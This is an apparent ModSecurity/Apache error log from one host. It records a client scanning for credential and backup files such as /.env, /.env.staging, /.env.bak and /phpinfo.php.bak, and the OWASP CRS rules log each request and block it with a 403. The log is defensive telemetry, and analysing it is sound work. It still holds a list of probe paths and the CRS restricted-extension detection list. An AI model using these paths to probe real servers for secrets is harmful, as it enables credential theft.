[Wed Feb 25 06:04:28.062943 2026] [:error] [pid 2312882] [client 185.177.72.13:28308] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/.env&quot;] [unique_id &quot;aZ6C3LZegw_qLbSTRXm5KgAAAAM&quot;]
[Wed Feb 25 06:04:28.063339 2026] [:error] [pid 2312882] [client 185.177.72.13:28308] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/.env&quot;] [unique_id &quot;aZ6C3LZegw_qLbSTRXm5KgAAAAM&quot;]
[Wed Feb 25 06:04:28.063585 2026] [:error] [pid 2312882] [client 185.177.72.13:28308] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/.env&quot;] [unique_id &quot;aZ6C3LZegw_qLbSTRXm5KgAAAAM&quot;]
[Wed Feb 25 06:04:28.068375 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.bak&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVClgAAAAU&quot;]
[Wed Feb 25 06:04:28.069030 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.bak&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVClgAAAAU&quot;]
[Wed Feb 25 06:04:28.069241 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.bak&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVClgAAAAU&quot;]
[Wed Feb 25 06:04:28.110773 2026] [:error] [pid 2312882] [client 185.177.72.13:28308] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aZ6C3LZegw_qLbSTRXm5KwAAAAM&quot;]
[Wed Feb 25 06:04:28.111071 2026] [:error] [pid 2312882] [client 185.177.72.13:28308] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aZ6C3LZegw_qLbSTRXm5KwAAAAM&quot;]
[Wed Feb 25 06:04:28.111262 2026] [:error] [pid 2312882] [client 185.177.72.13:28308] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aZ6C3LZegw_qLbSTRXm5KwAAAAM&quot;]
[Wed Feb 25 06:04:28.167969 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVCmQAAAAU&quot;]
[Wed Feb 25 06:04:28.168299 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVCmQAAAAU&quot;]
[Wed Feb 25 06:04:28.168568 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVCmQAAAAU&quot;]
[Wed Feb 25 06:04:28.168782 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVCmQAAAAU&quot;]
[Wed Feb 25 06:04:28.196485 2026] [:error] [pid 2312882] [client 185.177.72.13:28308] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aZ6C3LZegw_qLbSTRXm5LAAAAAM&quot;]
[Wed Feb 25 06:04:28.196768 2026] [:error] [pid 2312882] [client 185.177.72.13:28308] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aZ6C3LZegw_qLbSTRXm5LAAAAAM&quot;]
[Wed Feb 25 06:04:28.196994 2026] [:error] [pid 2312882] [client 185.177.72.13:28308] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aZ6C3LZegw_qLbSTRXm5LAAAAAM&quot;]
[Wed Feb 25 06:04:28.207756 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVCmgAAAAU&quot;]
[Wed Feb 25 06:04:28.208032 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVCmgAAAAU&quot;]
[Wed Feb 25 06:04:28.208232 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVCmgAAAAU&quot;]
[Wed Feb 25 06:04:28.273912 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVCmwAAAAU&quot;]
[Wed Feb 25 06:04:28.274262 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVCmwAAAAU&quot;]
[Wed Feb 25 06:04:28.274593 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVCmwAAAAU&quot;]
[Wed Feb 25 06:04:28.274803 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVCmwAAAAU&quot;]
[Wed Feb 25 06:04:28.330895 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVCnAAAAAU&quot;]
[Wed Feb 25 06:04:28.331213 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVCnAAAAAU&quot;]
[Wed Feb 25 06:04:28.331418 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVCnAAAAAU&quot;]
[Wed Feb 25 06:04:28.348523 2026] [:error] [pid 2312882] [client 185.177.72.13:28308] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.live&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.live&quot;] [unique_id &quot;aZ6C3LZegw_qLbSTRXm5LQAAAAM&quot;]
[Wed Feb 25 06:04:28.348855 2026] [:error] [pid 2312882] [client 185.177.72.13:28308] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.live&quot;] [unique_id &quot;aZ6C3LZegw_qLbSTRXm5LQAAAAM&quot;]
[Wed Feb 25 06:04:28.349129 2026] [:error] [pid 2312882] [client 185.177.72.13:28308] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.live&quot;] [unique_id &quot;aZ6C3LZegw_qLbSTRXm5LQAAAAM&quot;]
[Wed Feb 25 06:04:28.417381 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aZ6C3OTWwZsZM3_RktVCnQAAAAU&quot;]
